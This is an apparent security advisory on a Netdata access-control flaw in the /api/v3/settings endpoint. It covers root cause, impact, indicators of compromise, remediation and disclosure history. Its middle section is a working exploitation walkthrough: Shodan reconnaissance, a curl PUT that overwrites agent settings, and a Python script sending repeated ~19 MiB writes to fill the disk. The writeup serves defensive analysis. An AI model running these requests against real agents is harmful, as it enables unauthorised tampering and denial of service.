CVE-2026-83602: 
Netdata vulnerability analysis and mitigation

CVE-2026-83602 is an improper access control vulnerability in Netdata, an open-source observability tool, affecting versions 2.0.0 through 2.10.x (before 2.11.0). The /api/v3/settings API endpoint is registered with HTTP_ACL_NOCHECK and HTTP_ACCESS_ANONYMOUS_DATA, allowing any unauthenticated, network-reachable attacker to issue PUT requests that bypass operator-configured IP allowlists (e.g., allow dashboard from) and persistently overwrite the agent's settings storage. The vulnerability was disclosed on September 2, 2026, and fixed in Netdata v2.11.0. It carries a CVSS v3.1 base score of 6.5 (Medium) (GitHub Advisory, Red Hat).

The root cause is classified as CWE-284 (Improper Access Control) and CWE-306 (Missing Authentication for Critical Function). In src/web/api/v3/web_api_v3.c, the settings endpoint is registered with .acl = HTTP_ACL_NOCHECK, which unconditionally skips IP-based allowlist evaluation in the web layer, and .access = HTTP_ACCESS_ANONYMOUS_DATA, which permits unauthenticated callers. The PUT handler in src/web/api/v3/api_v3_settings.c accepts a ?file=default parameter, parses the request body as JSON without schema validation or payload size limits (up to ~20 MiB), and atomically writes the content to {varlib}/settings/default.json via rename, incrementing a version counter on every write. There is no CSRF protection or rate limiting in this handler. The fix, merged in PR #22896, replaces HTTP_ACL_NOCHECK with HTTP_ACL_DASHBOARD, making the endpoint honor the allow dashboard from IP allowlist like other dashboard endpoints (GitHub Advisory, Fix Commit).

Successful exploitation allows an unauthenticated remote attacker to persistently overwrite the Netdata agent's UI/dashboard settings file (default.json) with arbitrary attacker-controlled JSON, affecting all clients that subsequently load those settings. Attackers can also manipulate the version counter to disrupt legitimate settings synchronization and perform repeated near-20 MiB writes to exhaust disk space on agents with constrained storage, potentially causing denial of service. Importantly, the settings file does not control data collection or security policy, so the impact is scoped to integrity and availability of the UI/dashboard preferences store rather than full system compromise (GitHub Advisory, Red Hat Bugzilla).

A public proof-of-concept (PoC) exploit is available in the official GitHub Security Advisory, including concrete curl commands and a Python script demonstrating unauthenticated settings overwrite and disk exhaustion. The exploit requires no credentials, no user interaction, and no special network position beyond TCP reachability to port 19999. The EPSS score is approximately 0.51%, and there is no evidence of in-the-wild exploitation or CISA KEV catalog listing as of the time of disclosure. The vulnerability is classified as automatable by NVD SSVC analysis (GitHub Advisory, Feedly).

1. Reconnaissance: Identify internet-facing or network-accessible Netdata agents running versions 2.0.0 through 2.10.x using tools like Shodan or Censys, targeting the default port 19999.
2. Verify target: Send a GET request to http://<netdata-agent>:19999/api/v3/settings?file=default to confirm the endpoint is accessible and retrieve the current settings JSON.
3. Overwrite settings: Send an unauthenticated HTTP PUT request with an arbitrary JSON payload to bypass IP allowlist controls:

   curl -s -X PUT "http://<netdata-agent>:19999/api/v3/settings?file=default" \
     -H "Content-Type: application/json" \
     -d '{"attacker": "controlled", "version": 999}'

4. Confirm persistence: Issue a GET request to the same endpoint to verify the attacker-controlled JSON was written to {varlib}/settings/default.json.
5. Disk exhaustion (optional): Execute repeated large writes (~19 MiB per request) using the Python PoC to consume disk space:

   import urllib.request, json
   payload = json.dumps({'x': 'A' * (19 * 1024 * 1024)}).encode()
   req = urllib.request.Request(
       'http://<netdata-agent>:19999/api/v3/settings?file=default',
       data=payload, method='PUT',
       headers={'Content-Type': 'application/json'}
   )
   urllib.request.urlopen(req)

6. Impact: All subsequent dashboard clients loading settings receive attacker-controlled JSON; repeated large writes exhaust available disk space on the agent (GitHub Advisory).

• Network: Unexpected HTTP PUT requests to /api/v3/settings?file=default on port 19999 from external or untrusted IP addresses; large (near-20 MiB) HTTP PUT request bodies to the Netdata API.
• File System: Unexpected or modified content in {varlib}/settings/default.json (e.g., attacker-controlled keys, unusually large file size, or anomalous version counter values); rapid growth of the Netdata varlib directory.
• Logs: Netdata web access logs showing repeated PUT requests to /api/v3/settings from unexpected source IPs; HTTP 200 responses to PUT requests from unauthenticated callers; disk space alerts or filesystem-full events on the Netdata host.
• Process/System: Disk usage spikes on the partition hosting {varlib}/settings/; alerts from disk monitoring tools indicating rapid consumption of available space (GitHub Advisory).

The primary remediation is to upgrade Netdata to version 2.11.0 or later, which replaces HTTP_ACL_NOCHECK with HTTP_ACL_DASHBOARD on the /api/v3/settings endpoint, enforcing IP allowlist controls. Users who cannot immediately upgrade should apply network-level controls (firewall rules) to restrict access to TCP port 19999 to trusted hosts only. Additionally, operators should audit all HTTP_ACL_NOCHECK endpoint registrations in their Netdata deployment and monitor disk space usage on agents running affected versions (2.0.0–2.10.x) for signs of disk exhaustion attacks (GitHub Advisory, Netdata v2.11.0 Release, Fix PR).

The vulnerability was reported by security researcher 'sreelim' and published as a GitHub Security Advisory (GHSA-8hjg-8hcf-fmwp) by Netdata maintainer 'Ferroin' on September 2, 2026. The fix was developed by contributor 'stelfrag' and reviewed by Netdata code owners, with the PR approved and merged on July 9, 2026, ahead of the public disclosure. Red Hat tracked the issue via Bugzilla (Bug 2538827) and the NixOS security tracker also flagged the issue for backporting. No significant broader media coverage or notable social media discussion has been identified beyond standard CVE tracking feeds (GitHub Advisory, Red Hat Bugzilla).